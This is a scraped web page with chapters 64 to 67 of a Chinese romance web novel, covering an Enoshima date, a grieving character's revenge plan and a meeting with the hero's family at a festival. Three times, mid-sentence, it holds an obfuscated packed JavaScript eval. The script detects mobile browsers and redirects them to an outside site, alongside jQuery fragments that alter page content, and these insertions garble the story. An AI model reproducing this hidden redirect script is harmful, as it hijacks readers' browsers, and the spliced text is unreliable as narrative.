投入赛钱,摇响垂铃。双手合十,闭上眼睛,微微低下头。 阳光透过树梢洒落在他专注的侧脸上,他站在那里,无声而虔诚地祈祷着,如同在进行某种神圣的仪式。 如月遥站在不远处看着他。 挺拔的背影,低垂的眼睫,无比认真地向神明祈求着某种愿望的姿态…… 那目的不言而喻。 细微的躁动感,让她有点不自觉的失控。 抿紧了唇,对着空气低低地骂了一声: “盲目迷信!” 可那微微发烫的耳根,却泄露了她内心的不平静。 告别神社,他们来到了江之岛著名的岩 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她本来真的只是随口一说,带着点“让你开开眼界”的小炫耀心态。 现在被他这么直接地追问,好像她不答应就显得耍赖或者小气了? 为了维持大小姐说一不二的面子,如月遥硬着头皮,维持着一副云淡风轻、高高在上的姿态: “嗯……” 施恩般的随意,“如果到时候心情好的话。” “绝对没问题!” 忍足立刻挺直背脊,斩钉截铁地保证,脸上是压抑不住的灿烂笑容,眼神却无比认真,“绝对让大小姐心情保持愉悦!” 看着他这副仿佛中了头彩般的雀跃样子,如月遥默默转开了视线。 真是个……好哄的家伙。 中午的阳光正好,两人循着香气找到了镰仓有名的虾仙贝小铺。 巨大的圆形仙贝在铁板上被烤得金黄酥脆,散发着诱人的咸香。 虽然如月遥对海鲜向来敬而远之,但眼前这圆鼓鼓、造型可爱的巨型虾仙贝,还是让她有点挪不开眼。 “尝尝?”忍足笑着递过一个刚出炉的,热气腾腾。 犹豫了一下,最终还是没抵抗住那香气的诱惑。 小心翼翼地接过,像对待什么易碎品,低头,试探性地咬了一小口边缘。 咔嚓! 酥脆的口感传来,带着浓郁的米香和一点点鲜味,味道意外地不错。 她又克制地咬了一小口。 海鲜,她不能多吃。 然后看着手里剩下的、几乎完好无损的“巨无霸”,她果断面无表情地把它塞回了忍足手里。 看着手里突然多出来的、还带着她牙印的虾仙贝,哑然失笑。 他早已习惯了后续的“扫盘”任务,非常自然地接过来,毫不介意地就着她咬过的地方,大大地咬了一口。 嗯!酥脆鲜香! 更重要的是……这算不算……间接接吻? 他们又一次的间接接吻…… 这个念头如同电流般窜过忍足的大脑,让他的耳根微微发热,心里却像炸开了一朵甜滋滋的烟花。 他嚼着仙贝,看着如月遥若无其事地擦着指尖,眼里是藏不住的满足笑意。 虾仙贝真好吃。 下次还吃! 65. 第 65 章 新江之岛水族馆如同一个巨大的幽蓝色梦境。 踏入其中,瞬间被神秘的海底氛围包裹。 弧形玻璃通道环绕四周,形态各异的海洋生物在头顶身边悠然游弋。 阳光透过海水折射下来,在幽蓝的光影中投下斑驳陆离的光斑。 鱼群穿梭其中,鳞片闪耀着银光、蓝光、金光,如同置身于流动的、璀璨的海底星空,浪漫得令人窒息。 如月遥眸子里也罕见地亮起了孩童般的好奇光芒。 忍不住凑近玻璃幕墙,鼻尖几乎要贴上去,专注地看着那些在珊瑚丛中嬉戏的、五彩斑斓的热带小鱼。 小丑鱼在摇曳的海葵间灵巧地穿梭,蝴蝶鱼拖着飘逸的长尾,鹦鹉鱼用喙一样的嘴啃食着珊瑚…… 她看得入了迷,唇角不自觉地微微上扬,显然心情极好。 忍足适时地带她来到相模湾大水槽前。 这里模拟了相模湾深邃的海底世界。 体型庞大的蝠鲼如同优雅的舞者,舒展着巨大的翼状胸鳍,在幽蓝的海水中滑翔而过;鲨鱼沉默地巡弋,露出锋利的背鳍;成群的沙丁鱼如同流动的银色风暴,瞬间聚散…… 仿佛亲身沉入了神秘莫测的深海,被浩瀚的海洋生灵所包围。 如月遥仰着头,瞳孔里映着水槽幽蓝的光和那些庞然巨物优雅的身影,如同倒映着星河的湖面,分外好看。 接着,水母大厅。 光线被调得极其幽暗而柔和,圆柱形水槽中,无数只半透明的水母如同来自外太空的精灵,在澄澈的水中轻盈地漂浮、游弋。 形态各异,有的拖着长长的、飘逸如丝的触手,有的如同撑开的透明小伞,伴随着特制的灯光不断变幻色彩。 冰蓝、淡紫、柔粉、梦幻的金色…… 光影在水母透明的身体上流淌、折射,将它们映照得如同最精美的琉璃艺术品,姿态优雅,美妙绝伦。 “哇……”一声极轻的、带着惊叹的喟叹,不由自主地从她唇间溢出,几乎挪不开眼睛。 忍足看着四周不少游客都在举着手机拍照留念,心头一动。 “要不要……拍几张?” 如月遥的目光依旧流连在那些梦幻的水母上,闻言点头。 忍足拿出手机,从各个角度捕捉着如月遥在水母光影下的侧影和背影。 清冷的气质与这梦幻的光影奇异地融合,每一帧都美得如同电影画面。 拍了好多张单人照后,忍足的心跳开始加速。 机会难得! 他清了清嗓子,有些紧张:“要不要……合影一张?” 或许是水母的梦幻气氛太醉人,或许是今天的心情确实格外放松。 她几乎没有犹豫,“好。” 忍足心中狂喜,立刻环顾四周,礼貌地拦住一位工作人员,说明了请求。 工作人员欣然应允。 忍足控制着距离,既不敢靠得太近让她反感,又不想离得太远显得生疏。 他站得笔直,甚至有点紧张。 如月遥倒是自然得多,微微侧身看向镜头。 咔嚓! 工作人员按下快门。 照片定格。 散发着梦幻光芒的水母圆柱作为背景,两人脸上都带着浅淡却真实的笑容。 这是他们的第一张正式的合影。 忍足看着屏幕上的照片,只觉得被幸福填满,这个生日真是太棒了! 接下来的海狮顶球、海豚腾跃、企鹅摇摆的表演更是精彩纷呈,逗得观众席上笑声不断。 二人并肩坐着,看着那些聪明可爱的海洋精灵,也被逗得开怀大笑。 如月遥的笑声比平时多了许多,有时笑得太过投入,身体微微后仰,忍足总适时地伸出手臂,虚虚地扶一下她的后腰或肩膀。 而她沉浸在欢乐中,似乎并未察觉,也并未抗拒。 这让忍足的心像是被温热的泉水浸泡着,暖洋洋的。 看着那些在驯养员指挥下默契配合的海洋动物,忍不住凑近如月,低声笑道:“看来…神社祈福真的很灵验啊。” “感觉全世界都在帮我。” 如月遥侧头瞥了他一眼,眼眸里闪过一丝了然的笑意,没说话只是唇角弯起的弧度更深了些。 意犹未尽地从海洋馆出来,夕阳的余晖给江之岛镀上了一层温暖的金色。 海风带着咸味,吹拂着两人的衣角。 忍足看她脸上还残留着刚才看表演时的愉悦红晕:“你很喜欢海洋生物?” “嗯。” 她看向远处波光粼粼的海面,追忆:“从小接触的,都是山里的东西。” “故乡也没有海。” 所以,海对她而言,是遥远而陌生的存在。 她回想起今天在水族馆里看到的一切——那流动的星光鱼群、优雅的蝠鲼、梦幻的水母、聪明的海豚…… “大海很有趣。” 她轻声说,像是在做一个决定: “下次有机会要去真正的海边看看。” “好。” “明年夏天。” “带你去冲绳。” 那里有最清澈的果冻海和最纯粹的阳光沙滩。 两人踏上了返回东京的归途。 如月遥坐在副驾驶,手里把玩着刚才在海洋馆纪念品商店买的东西。 一个小巧玲珑的琉璃水母挂件。 半透明的琉璃身体里仿佛凝固了水母游弋的姿态,在夕阳的照射下,折射出五彩斑斓、如梦似幻的光芒。 她身体微微前倾,手指灵巧地将挂件上的细绳解开,将挂件系在了后视镜的下方。 漂亮精致的琉璃水母轻轻晃动起来,随着车身的移动,在夕阳的光线下折射出彩色光斑,如同将一小片梦幻的水母世界带进了车里。 忍足全程用余光看着她的动作。 想挂满一车水母都行。 只要你开心。 如月家客厅里 孟远懒洋洋地歪在宽大的真皮沙发上,手里握着遥控器。 电视屏幕上正播放着喧闹的综艺,光影在他没什么表情的脸上明明灭灭。 咔哒。 玄关传来开门声,然后是熟悉的脚步声。 孟远漫不经心地抬眼瞥去,目光瞬间被她随身携带的手提包吸引了。 确切地说,是被包包旁多出来的那个“新成员”吸引了。 一个圆头圆脑、眯眼傻笑、通体深棕色绒毛的小秃头玩意儿,正随着她的步伐在昂贵的包上一晃、一晃、又一晃。 又是这种玩意儿! 嘴角不受控制地抽搐了一下,心里那点悠闲瞬间被无语的情绪取代。 他坐直身体,毫不掩饰的嫌弃和嘲讽: “我说大小姐……” 他拖长了调子,目光扫过那个傻笑的挂件。 “你这‘每个奢侈品包必挂丑东西’的癖好,什么时候能改改?” 他掰着手指开始数落:“衣帽间里那些Birkin、Kelly、LV……都快挂满了吧?上野美术馆的丑睡莲、奈良公园的蠢萌小鹿、轻井沢温泉的木桶……” 他越说越痛心疾首,仿佛那些包是他自己的。 “配你那身行头,整个儿就是‘精致贵妇带着她乡下来的土特产’!” 最后指向那个新的小秃头,咬牙切齿: “今天又是个什么东西?大佛?还是个笑得跟二傻子似的大佛?” 如月遥脚步未停,甚至连眼神都懒得给他一个,只发出一声轻蔑的: “哼。” “要你管?” 孟远:“……” 又是这句。 又是这种“关你屁事”的态度。 他看着如月遥那张刚从外面回来而带着点愉悦的脸,还有那个在她手袋上蹦跶得欢快的小秃头…… 用脚趾头想都知道是谁的手笔。 忍足侑士! 又是你!! 这家伙的攻势也太猛了吧?! 三天两头约出去旅游,回来就多一个“纪念品”。 衣帽间的包包都快成忍足侑士的旅游打卡地图了! 一股强烈的“自家白菜被拱了”的危机感涌上心头。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526667|186328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>孟远猛地从沙发上站起来,几步拦在如月遥面前,高大的身影带着点压迫感,眉头紧锁,声音带着前所未有的认真。 “你跟我说实话,你对那个忍足侑士到底几个意思?” 眼眸紧紧盯着她,试图从她那张万年不变的脸上找出哪怕一丝破绽。 如月遥被迫停下脚步,抬起头迎上孟远审视的目光。 不知是不是刚结束愉快旅程的缘故,她眼底似乎还残留着一丝未散尽的、极淡的笑意,使得那双清冷的眸子此刻看起来竟有些波光潋滟,心情显然很好。 如月大小姐唇角极其缓慢地勾起一个弧度。 那笑容…… 三分嘲讽,六分戏谑,再加一分气死人的理所当然。 然后,清晰无比地,一字一顿地重复道: “要、你、管?” 完美复刻刚才的语气,杀伤力翻倍! 孟远只觉得一股热血“噌”地直冲头顶,眼前阵阵发黑。 “你!” “好!好!算我多管闲事!” 他气得在客厅里来回踱了两步,试图找回一点娘家人的尊严。 “好歹我们也是一起长大的!就算我现在是你的下属,帮你把把关总可以吧?!” “那小子一看就心机深沉!花花肠子多得很!你……” 他慷慨激昂的“忠告”还没说完,如月遥已经懒得再听他废话,踏上了通往二楼的旋转楼梯。 优雅的背影消失在楼梯转角前,一句拖长了调子、带着十足挑衅意味的、气死人不偿命。 “要~~你~~管~~~” 如同魔音灌顶,清晰地飘了下来。 孟远:“……” 他僵在原地,胸膛剧烈起伏,差点当场表演一个原地爆炸。 “云!月!遥!”他对着空无一人的楼梯口,发出了愤怒又憋屈的咆哮。 回应他的只有楼上传来的一声干脆利落的关门声。 “砰!” 另一边,忍足家。 几乎是飘着回到自己房间的,整个人向后一倒,陷进了柔软的大床里。 满足感和愉悦感如同暖流般包裹着他,飘飘欲仙。 摸出手机,迫不及待地点开那个置顶的联系人,将在水母梦幻大厅拍下的那张珍贵合影发了过去。 【今天的纪念合影。^_^】 发送完,他退出聊天界面,点开相册,指尖停留在那张照片上。 梦幻蓝紫色光芒的水母圆柱前,他和她并肩而立。 她微微侧着头,侧脸被柔和的光线镀上了朦胧的暖意,唇角带着浅浅的、却无比真实的弧度。 他站在她身侧,笑得像得到了全世界,眼眸里是毫不掩饰的喜悦和幸福。 真好啊…… 忍足的手指在屏幕上轻轻摩挲着照片里她的轮廓。 像做贼一样,带着点隐秘的甜蜜和小心思,他选择了“设置为壁纸”。 屏幕瞬间被两人的合影占据。 嗯……完美。 他满意地看着自己的手机屏幕。 反正没有他的指纹解锁,别人也看不见。 只有他自己知道。 而他每次点亮屏幕,都能第一时间看到这张照片,看到照片里那个让他魂牵梦萦的人。 希望…… 年年…… 都能一起过生日。 放下手机,忍足摘下鼻梁上的眼镜,随手搁在床头柜上。 脑海里,不由自主地再次浮现出那夜在酒店房间里的画面。 她被自己压在沙发上,脸颊绯红,那双总是清冷凌厉的眼眸里盛满了水光,带着羞恼,却比任何时候都鲜活生动…… 还有鼻尖上那点滑稽又可爱的白色奶油…… “啊……”一声压抑的、带着无尽回味和甜蜜的叹息从忍足唇间溢出。 猛地将发热的脸埋进柔软的枕头里,仿佛这样就能藏住那份滚烫的悸动。 大小姐脸红的样子…… 真的是太可爱了! 枕头里传来闷闷的笑声,带着少年般的纯情。 66. 第 66 章 学园祭的筹备进入最后阶段。 音乐部专用的设计室内弥漫着布料、针线和艺术气息。 水谷雅子带着她精心制作的演出服赶来,脸上是兴奋又期待的笑容。 “锵锵锵!来了来了!”水谷雅子如同献宝一样,小心翼翼地展开两套服装。 映入眼帘的服装设计令人惊艳。 并非传统的和服或汉服,而是巧妙地融合了东方韵味与现代审美,整体轮廓简约流畅,采用了丝绸与垂坠感极佳的现代面料。 忍足那套是深邃的海蓝色,衣襟和袖口处用银线绣着精致的卷云纹和水波纹。 如月遥那套则是清冷的月光银色,衣摆和领口点缀着冰蓝色的竹叶暗纹。 最为画龙点睛的设计在肩膀处。 忍足的右肩膀,如月的左肩膀,各有一只以特殊工艺缝制、栩栩如生的蝴蝶。 忍足肩上的蝴蝶是深蓝色的,如同深海中的幻影,翅膀边缘泛着银光;如月遥肩上的蝴蝶则是冰银色,带着琉璃般的剔透感。 蝴蝶并非死物,水谷雅子特意在蝴蝶翅膀内部加入了极其精巧的微型传动装置,当穿着者活动手臂或肩膀时,那对薄如蝉翼的翅膀便会随之微微颤动,仿佛下一刻就要翩跹起舞。 “怎么样怎么样?”水谷雅子眼睛亮晶晶地看着两人。 “主题是《梁祝》,又要有舞台效果!这振翅欲飞的蝴蝶,绝对契合!” 换上服装。 当两人并肩站在一起时,无需言语,那种深海与明月、东方与现代的碰撞与融合之感便扑面而来。 肩膀上的蝴蝶随着他们轻微的调整动作而轻轻颤动,灵动无比。 “华丽。”靠在门框上的迹部景吾的眼眸里闪过赞赏,言简意赅的评价。 就在这时,设计室的门被推开。 孟远探进头来,习惯性地寻找如月遥的身影,“阿遥,午饭……” 他的话语在看到并肩而立的忍足和如月时戛然而止。 忍足深蓝如海,肩头深蓝蝶翼轻颤;如月清冷如月,肩头冰银蝶翼微动。 两人站在那里,无论是身形气质还是此刻的氛围,都登对得刺眼。 孟远下意识地“啧”了一声,眉头不耐烦地蹙起,刚想把视线移开—— 猝不及防地看到了站在如月身边、正兴奋地整理着服装细节的水谷雅子。 那一刻。 仿佛一道无形的惊雷在孟远脑中炸开。 他脸上的所有不耐烦、揶揄瞬间凝固,如同被最锋利的冰锥狠狠刺中瞳孔。 瞪大了眼睛,嘴巴微张,似乎看到了某种绝对不可能存在于此世的东西。 震惊如同碎裂的冰面,清晰地在他脸上蔓延开来,他整个人都僵在了原地,如同石化。 “孟远。”如月清冷的声音如同警示。 孟远猛地回神,视线如同被烫到一般从水谷雅子脸上移开,带着近乎求救般的惊惶,看向如月遥。 水谷雅子那张脸…… 如月遥平静地回视着他,眼神深处似乎有什么,又似乎什么都没有。 她轻微地扯了一下嘴角,那弧度冷硬而晦涩,是心照不宣的警告。 孟远深吸一口气,强迫自己压下几乎要失控的心神,僵硬地转过身,面对着窗外明媚的阳光。 宽阔的肩膀几不可察地起伏着,像是在努力平复着翻江倒海的剧烈情绪。 这段发生在电光火石间的剧烈情绪波动和无声交流,却丝毫没有逃过室内另外两位敏锐观察者的眼睛。 忍足推了推眼镜,他记得如月提过,水谷雅子长得像她的一位故人…… 看来这位故人,孟远也认识,而且关系匪浅。 甚至那张脸的出现,对孟远的冲击力是如此巨大,几乎到了失态的地步。 他不动声色地继续整理着自己肩膀处衣服的褶皱,似乎刚才什么都没看见,但心中的拼图,又多了一块清晰的碎片。 设计室内的气氛,因为孟远这短暂的失态变得有些诡异的凝滞。 孟远用力揉搓了几下眉心,终于找回了一点理智。 “啊!这位先生是?”水谷注意到了这个陌生而英俊的男人,热情地开口打破了沉默。 “是如月的朋友吗?你好呀!”她露出招牌式的灿烂笑容。 孟远看着那张如此熟悉、充满活力的笑脸,他眼中的复杂情绪翻涌得更加剧烈。 恍惚,眷恋,以及缅怀。 “幸会……我是孟远。” 水谷雅子大方地伸出手与他相握。 孟远的手指颤抖了一下,像是握住了什么滚烫又易碎的东西。 “幸会。”他再次重复,声音更低沉了几分。 气氛因为这诡异的握手而变得更加微妙。 “咳。” 如月遥果断出声,打破了这令人窒息的氛围。 “关于演奏的编排,我还有点想法,需要再交流一下。” “孟远,你先回去。” “午饭你自己解决。” 孟远对上如月遥那平静却极具压迫感的视线,仿佛冷水当头浇下。 像个失魂的木偶,僵硬地转身,脚步有些虚浮地离开了设计室。 门在他身后轻轻关上。 夜色深沉,如月宅邸灯火通明,却透着一股不同寻常的寂静。 刚踏入玄关,脱下高跟鞋,就看见孟远的身影如同凝固的雕塑,沉默地伫立在通往客厅的走廊阴影里。 他没有像往常那样在客厅等候,而是直接堵在了这里,仿佛已经等待了许久。 如月遥没有惊讶,只有一种了然于心的平静。 径直越过他,走向灯火通明的餐厅。 空气中弥漫着晚餐的香气,却无法驱散那份无形的沉重。 孟远如同被无形的线牵引着,沉默地跟在她身后。 餐厅里,精致的菜肴在长桌上散发着热气。 如月遥拿起银筷,却没有立刻用餐。 她抬起眼,直接刺破了那层压抑的沉默: “雅子,是不是很像她?” 像一把精准的钥匙,瞬间打开了孟远竭力压抑的闸门。 猛地闭上眼,仿佛被这直白的问题刺中了心脏最脆弱的地方。 自从下午在设计室猝不及防地看到水谷雅子那张脸,他的世界就陷入了一种恍惚的震荡。 那张脸,那张洋溢着青春活力、毫无阴霾的笑脸,像一面残酷的镜子,清晰地映照出他心底最深、最痛、最不敢触碰的影像。 不是水谷雅子。 是透过她,看到了……她。 “呵……”一声压抑的、带着痛苦颤音的笑从他喉咙里挤出来。 那双总是温润含笑的眼眸此刻布 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526668|186328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 满了血丝,悲伤与思念交织。 “真像啊……”他的声音沙哑得厉害,每一个字都像是从砂纸上磨过。 “今天看到水谷……真的…好像看到了她……” 试图压下哽咽,但痛苦汹涌而上将他淹没。 思念如同最坚韧的藤蔓,在五年后的今天,因为一张相似的脸庞,再次将他牢牢捆缚,勒得他几乎无法呼吸。 别过脸,肩膀颤抖着。 如月遥看着他,看着他强忍的悲痛。 餐厅暖黄的灯光落在他身上,却驱不散深入骨髓的痛楚。 她沉默了片刻才缓缓开口,似乎在冷静的陈述事实,却也掩不住深藏的遗憾: “如果阿瑶还活着……” 目光似乎穿透了时空,落在某个虚无的点上,“也会像雅子一样的年纪了。” 阿瑶。 这个久违的亲昵的称呼,在两人之间轰然炸开。 它带着滚烫的温度,蒸腾而起,与餐桌上袅袅升起的热气交织在一起,却无法带来丝毫暖意,反而凝结成一片冰冷刺骨的悲伤雾霭。 这个名字像一把淬毒的匕首,精准地刺中了他最深的伤口。 看向如月遥,眼中是痛楚,以及同病相怜的悲怆。 孟瑶。 那个笑容比阳光还灿烂,声音像银铃般清脆,总是跟在他们身后,甜甜地叫着“哥哥”、“阿遥姐姐”的女孩。 那个…… 五年前,长眠在冰冷彻骨、吞噬一切的冰原之下的女孩。 尸骨无存。 只留下无尽的悔恨、刻骨的思念和滔天的怒火。 这五年。 他和如月遥,一个失去了血脉相连的妹妹,一个失去了情同手足的挚友。 他们像两头受伤的孤狼,舔舐着伤口,将所有的悲痛和愤怒都化作了布局的耐心和复仇的利刃。 编织着一张无形的大网,步步为营,只为了将当年制造那场灾难的凶手,拖入万劫不复的深渊。 用仇人的血,告慰孟瑶在天之灵。 短促的笑,带着无尽苦涩。 他用力抹了一把脸,试图抹去那份狼狈的湿意。 “也好……”他的声音依旧沙哑,却带上了一丝扭曲慰藉的复杂情绪。 “在日本能看到一个和阿瑶长得那么像的人……” 他望向窗外沉沉的夜色,眼神空洞,仿佛在寻找着某种虚无的慰藉。 “竟然有种岁月厚待我的温柔。” 这温柔带着倒刺,扎得他鲜血淋漓,却又让他无法抗拒地想要靠近那点虚幻的光。 这该死的命运! 它如此残忍地夺走了他唯一的妹妹,却又在五年后,在异国他乡,将一个拥有着几乎相同容颜的女孩送到他面前。 这究竟是恩赐,还是更深的折磨? 孟远眼中的痛苦渐渐沉淀,被更加深沉决绝的火焰取代。 燃烧着对逝去妹妹的爱,和对凶手滔天的恨。 爱与恨,在此刻剧烈地交织碰撞,最终熔铸成一种坚不可摧的意志。 他的眼神锐利如刀,声音低沉而充满力量: “计划……” 每一个字都咬得极重,破釜沉舟:“一定要顺利推进!” 窗外,夜色如墨。 复仇的火焰,在两张同样年轻却背负着沉重过往的脸上,无声地燃烧着。 67. 第 67 章 东大此刻是沸腾的欢乐海洋。 为期四天的学园祭在迹部景吾一场华丽得足以点燃全场的钢琴演奏中盛大开幕。 彩旗飘扬,人声鼎沸,各学院的特色活动争奇斗艳。 理工学部光怪陆离的实验体验引人驻足,文学部深邃隽永的专题讲座座无虚席;医学院的健康咨询摊位前排起长龙,农学院的萌宠展示区引来阵阵欢笑,法学院庄严的模拟法庭辩论引来围观。 空气里混杂着章鱼烧的焦香、可丽饼的甜腻、咖喱饭的浓郁,还有各国留学生带来的异域美食香气。 学生、教授、白发苍苍的校友、携家带口的社区居民,以及慕名而来的社会人士交织成汹涌的人潮,将古老的学府变成了充满烟火气的盛大嘉年华。 在这片鼎沸的人潮中,忍足家三人组带着好奇,正小心翼翼地穿行。 他们是瞒着忍足侑士来的。 自从侑士含糊其辞又难掩甜蜜地提到“有了重要的人”,三人的心就像被猫爪子挠着。 此刻,如同进行秘密侦查的特工,在人山人海中搜寻着目标。 “找到了!”惠里奈眼尖,指着不远处一个被小吃摊热气笼罩的身影。 忍足侑士正站在一个售卖缤纷水果可丽饼的摊位前,高大挺拔的身影在人群中很显眼。 而他全部的注意力,都集中在身前那个背对着他们、有着一头如瀑墨黑长发的女孩身上。 他手里捧着一个堆满新鲜草莓和奶油的巨大可丽饼,微微侧头,正低声对她说着什么,满溢温柔。 甚至腾出一只手,从口袋里拿出纸巾递过去。 忍足父母和姐姐立刻交换了一个心领神会的眼神,默契地找了个相对僻静、视线却绝佳的角落坐下,如同观看一场重要的演出。 “啧啧,看看小侑那样子……”惠里奈用手肘捅了捅母亲,压低声音,毫不掩饰的促狭笑容,“简直像只护食的大狗!” 忍足母亲也忍不住掩嘴轻笑,一瞬不瞬地锁定在那对身影上:“是啊,平时在家可没见他这么殷勤。” 忍足父亲表情严肃,目光却很锐利:“嗯,专注度很高。极高。” 就在这时,旁边几个男生的低声议论清晰地飘进了忍足家三人的耳中。 “……别提了,今天又失败了。” 一个戴眼镜的男生一脸挫败,愤愤地咬了一口手里的章鱼烧。 “忍足那家伙,简直把如月学姐看得跟眼珠子似的,寸步不离!” “我好不容易鼓起勇气想去搭个讪,刚靠近两步就被他发现了!那眼神嗖地一下扫过来……吓死人了!” “就是!”另一个穿着篮球服的男生立刻附和,语气里满是郁闷。 “昨天在文学部讲座门口也一样!我就想问问如月学姐对那个哲学问题的看法,结果忍足不知道从哪里冒出来,几句话就把我挤兑走了!” “说什么‘这种浅显的问题不必劳烦学姐’,‘建议回去多读两遍原著’……气死我了!不就是仗着自己是学姐搭档吗!” 第三个男生拍了拍两人的肩膀,语气带着过来人的沧桑:“哥们儿,趁早放弃吧。那座冰山本来就难攻克,多少英雄豪杰撞得头破血流都没留下个印子。” “现在可好,旁边还杵着个虎视眈眈的‘守护者’……” 他夸张地叹了口气,“那难度系数,简直比打穿地心还离谱!” “我看忍足前辈是严防死守,连只公苍蝇都别想靠近学姐三米之内!” 忍足家三人听着这番“血泪控诉”,脸上的表情精彩纷呈。 惠里奈憋笑憋得肩膀直抖,忍足母亲忍俊不禁,连一向严肃的忍足父亲,嘴角都抑制不住地向上弯起弧度。 三人再次交换了一个心照不宣、意味深长的眼神。 啊呀…… 平时那样优雅克制、仿佛万事皆在掌控的忍足侑士…… 这如同领地标记般、强烈到近乎蛮横的占有欲,还真是百年难得一见的奇景啊! 人群中心,忍足侑士对自家父母的“侦察行动”和旁人的“血泪控诉”浑然不觉。 “尝尝?”忍足将手中的可丽饼往前递了递,切成方便入口的一小块,上面点缀着鲜红的草莓。 如月遥微微低下头,就着他递过来的角度,小口咬下了那块沾满了奶油的草莓。 甜美的汁水和浓郁的奶油瞬间在唇齿间化开,她下意识地舔了舔沾到一点奶油的唇角。 忍足的目光变得幽深,他几乎是屏着呼吸看着她这个无意识的小动作,喉结不受控制地滚动了一下,握着可丽饼纸托的手指微微收紧。 压下心头的悸动,极其自然地抬手,用指腹隔着纸巾,轻轻擦过她刚才舔过的唇角边缘。 指尖隔着薄薄纸巾传来的触感让如月遥身体微僵,耳根悄然泛起一丝极淡的红晕。 她有些不自在地偏了偏头,避开了他的手指。 “我自己来。” 忍足收回手,笑意加深,带着一丝得逞的满足。 正当忍足沉浸在小小的喜悦中时,熟悉的女声响起:“小侑!” 忍足脸上的笑容瞬间凝固。 姐姐惠里奈正满面笑容地朝他快步走来,紧随其后的是他那表情略显严肃的父亲和温柔含笑的母亲。 三人脸上都带着一种“终于逮到你了”的、意味深长的笑容。 忍足只觉得头皮一麻! 糟了! 他们怎么来了?! 下意识地瞥了一眼身边的如月遥,心脏提到了嗓子眼。 惠里奈已经来到了近前,目光立刻锁定了忍足身边气质清冷绝伦、容貌昳丽的东方女孩。 “这位是?”好奇又兴奋,视线在如月遥和自家弟弟之间来回扫视。 忍足努力维持着表面的镇定,但耳根却诚实地开始泛红。 以极其郑重的姿态,将如月遥挡在自己身侧半步的位置,很紧张,也很认真。 “父亲,母亲,姐姐。” “这位是如月遥,我的……” 斟酌着措辞,最终选择了稳妥又饱含深意的称呼,“非常重要的朋友和搭档。” 然后转向如月遥介绍道,“如月,这是家父家母,还有我姐姐,忍足惠里奈。” 忍足家三位成员的突然现身,确实让如月遥的内心掠过一丝波澜。 她向来不喜计划外的状况,更不习惯与陌生人骤然近距离接触。 但良好的教养和那份对忍足的“特别”纵容,让她迅速压下了不悦。 既然是忍足的家人,那她愿意给这份面子。 她依旧站得笔直,姿态优雅矜贵,眼眸里甚至带上了一丝近乎温和的光泽。 “初次见面,忍足先生,忍足夫人,惠里奈小姐。” 不卑不亢,既不刻意亲近,也不显得冷淡傲慢。 忍足感受到她这份细微的变化,心下甜蜜。 这份无声的“给面子”,让他几乎有些难以置信。 忍足父亲的目光在她身上停留片刻,沉稳地颔首:“如月小姐。” 忍足母亲则露出了温和得体的笑容,眼中是对这份远超同龄人沉静气质的欣赏:“如月小姐,很高兴认识你。” 忍足惠里奈则直接得多,她热情地凑近一步,笑容灿烂:“如月小姐你好漂亮!气质真好!难怪我们家小侑……” “姐!”忍足侑士立刻打断姐姐可能语出惊人的话,有些尴尬地清了清嗓子,试图转移话题,“你们……怎么突然来了?也不提前说一声?” “当然是来看热闹……啊不,是来参加学园祭啊!” 惠里奈笑嘻嘻地在弟弟泛红的耳根和如月遥波澜不惊的脸上来回扫视。 “顺便看看某个家伙天天挂在嘴边的‘重要的人’到底是谁嘛!果然……” 她拖长了语调,眼神促狭地瞟向忍足,“名不虚传!” 忍足侑士:“……” 他现在只想找个地缝钻进去。 三人对视一眼,闪过惊叹。 云端皎月,清辉自生。 忍足父亲在听到“如月”这个姓氏时,锐利的目光便若有所思地闪动了一下。 探究地开口:“如月小姐是东京本地人吗?” 他沉浮多年,人脉深广,对这个姓氏背后的分量有着模糊却警惕的认知。 “不完全是。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526669|186328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她目光平静地迎向忍足父亲,“我是中日混血,父亲是横滨人。” 横滨。 如月。 两个关键词直接掀起滔天巨浪。 横滨那个盘踞多年、势力根深蒂固的如月家族。 那个在灰色地带拥有庞大能量、连政商名流都要礼让三分的庞然大物。 脸色微变,一丝极其细微的凝重掠过他向来沉稳的面容。 忍足母亲和惠里奈对此毫不知情,只觉得眼前这位气质卓绝的女孩越看越顺眼。 忍足母亲笑容温婉柔和,诚挚道谢:“如月小姐,多谢你平时照顾侑士了。这孩子性子有时比较闷,有劳你费心了。” 忍足侑士在一旁听得差点被自己的口水呛到。 她照顾他?! 明明他才是那个天天围着大小姐转、操心她衣食住行、恨不得化身“跟屁虫管家”的人! 谁照顾谁啊? 如月遥闻言,唇角优雅地弯起弧度,眼眸里闪过一丝极快的狡黠光芒,她坦然接受了这份“功劳”。 “夫人客气了。” 